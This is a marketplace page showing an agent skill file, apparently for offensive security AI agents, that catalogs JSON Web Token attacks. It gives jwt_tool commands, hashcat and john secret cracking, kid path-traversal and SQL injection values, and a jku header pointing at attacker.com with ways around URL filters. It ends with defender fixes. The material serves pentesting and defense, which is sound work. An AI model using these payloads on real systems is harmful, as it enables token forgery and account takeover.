Skip to main content

jwt

JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 26, 2026 at 03:12
Detected SKILL.md language
English
Stars
5,611
Forks
1,061

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
jwt
description
JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
metadata
{"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"}
# JSON Web Token Attacks JWTs are signed (`HS256`/`RS256`/`ES256`) or sometimes mis-configured to accept `none`. The header carries the alg + optionally `kid`/`jku`/`x5u` references. Each is a potential exploitation surface. ## 1. Anatomy `header.payload.signature` — each base64url. Decode w/ `jwt_tool` or `jwt-cracker`: ```bash jwt_tool eyJhbGc... # decode + verify + tamper modes echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null ``` ## 2. Attack surface ### 2.1 `alg=none` bypass Set `{"alg":"none"}` in header, strip signature, send `header.payload.`: ```bash jwt_tool $JWT -X a # alg=none attack ``` Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems. ### 2.2 HS256 vs RS256 confusion Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches `alg` to `HS256` and signs w/ the *public key* (which the server will use as the HMAC secret): ```bash # Get the public key curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' # Or pull from a redirect / unauth /pubkey endpoint jwt_tool $JWT -X k -pk public.pem # alg confusion attack ``` ### 2.3 `kid` header injection `kid` (key ID) sometimes resolves to a file path or DB key: ```json {"alg":"HS256","kid":"../../../dev/null"} // sign with empty content {"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup ``` `jwt_tool -X i -I -hc kid -hv path` chains kid injection variants. ### 2.4 `jku` / `x5u` URL injection `jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own: ```json {"alg":"RS256","jku":"https://attacker.com/jwks.json"} ``` Then `https://attacker.com/jwks.json` returns attacker's public key, signed JWT is "valid". Bypass URL filters via: - subdomain confusion (`https://target.com.attacker.com/jwks.json`) - userinfo (`https://attacker.com@target.com/jwks.json`) - redirect chains via target's open-redirect ### 2.5 Weak HMAC secret HS256 with weak secret crackable offline: ```bash hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt ``` Hashcat mode 16500 = JWT. Service-account secrets often `dev`/`secret`/ `changeme`/company-name patterns. ### 2.6 Signature stripping (Express.js / older Go libs) Some libraries verify only IF a signature is present. Strip it: ``` header.payload. ← trailing dot, no sig ``` ### 2.7 Embedded `jwk` header `jwk` in header (vs `jku` pointer) — attacker embeds their own pub key: ```json {"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}} ``` Old node-jsonwebtoken accepted this. ## 3. Detection in recon JWT presence signals: - `Authorization: Bearer eyJ...` headers - `access_token=eyJ...` / `id_token=eyJ...` URL params or cookies - `.well-known/jwks.json` endpoint exposed - `.well-known/openid-configuration` discovery doc ## 4. PoC pattern (Burp + jwt_tool) 1. Capture authenticated request 2. `jwt_tool <JWT> -M at -t <target_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary) 3. For positive results, replay manually via Burp Repeater to confirm 4. Document the modified JWT + decoded admin claims as PoC ## 5. Severity calibration | Bug | Typical severity | |---|---| | `alg=none` accepted on user → admin claim swap | Critical 9.8 | | HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 | | `jku` to attacker URL accepted | Critical 9.8 | | Weak HMAC secret cracked offline (admin role) | Critical 9.8 | | `kid` SQLi → DB enumeration | High 8.0 | | Signature stripping accepted | Critical 9.8 | ## 6. Defender remediation ```javascript // Node: jsonwebtoken jwt.verify(token, publicKey, { algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here audience: 'api://my-service', issuer: 'https://auth.mycorp.com', }); // Python: PyJWT 2.0+ jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm // Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup ``` ## Cross-references - Upstream catalog: `skills/_corpus/payloads/JSON Web Token/` - jwt_tool: https://github.com/ticarpi/jwt_tool ## Known exemplars - Auth0 alg=none (2015) — historical CVE-2015-2951 era - Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021 - Atlassian 2022: JWT validation bypass in JIRA cloud → admin - Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
View on GitHub